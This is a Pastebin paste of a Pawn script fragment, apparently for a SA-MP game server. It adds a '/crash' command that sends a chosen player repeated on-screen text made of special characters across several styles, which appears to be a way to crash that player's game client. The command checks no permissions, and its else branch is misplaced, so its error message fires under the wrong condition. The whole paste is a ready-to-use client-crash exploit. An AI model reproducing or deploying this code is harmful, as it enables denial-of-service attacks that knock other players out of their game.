Advertisement
Guest User

Untitled

a guest
Aug 29th, 2010
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pawn 1.28 KB | None | 0 0
  1. if(strcmp(cmd, "/crash", true) == 0)
  2. {
  3.     if(IsPlayerConnected(playerid))
  4.     {
  5.         tmp = strtok(cmdtext, idx);
  6.         if(!strlen(tmp))
  7.         {
  8.                 SendClientMessage(playerid, COLOR_GRAD2, "SYNTAX: /crash [ID/Vārds]");
  9.                 return 1;
  10.         }
  11.         giveplayerid = ReturnUser(tmp);
  12.             if(IsPlayerConnected(giveplayerid))
  13.             {
  14.                 if(giveplayerid != INVALID_PLAYER_ID)
  15.                 {
  16.                 GameTextForPlayer(giveplayerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 1000, 0);
  17.                 GameTextForPlayer(giveplayerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 2000, 1);
  18.                 GameTextForPlayer(giveplayerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 3000, 2);
  19.                 GameTextForPlayer(giveplayerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 4000, 3);
  20.                 GameTextForPlayer(giveplayerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 5000, 4);
  21.                 GameTextForPlayer(giveplayerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 6000, 5);
  22.                 GameTextForPlayer(giveplayerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 7000, 6);
  23.                 return 1;
  24.             }
  25.         }
  26.     }
  27.     else
  28.     {
  29.             format(string, sizeof(string), "   %d is not an active player.", giveplayerid);
  30.             SendClientMessage(playerid, COLOR_GRAD1, string);
  31.     }
  32.     return 1;
  33. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement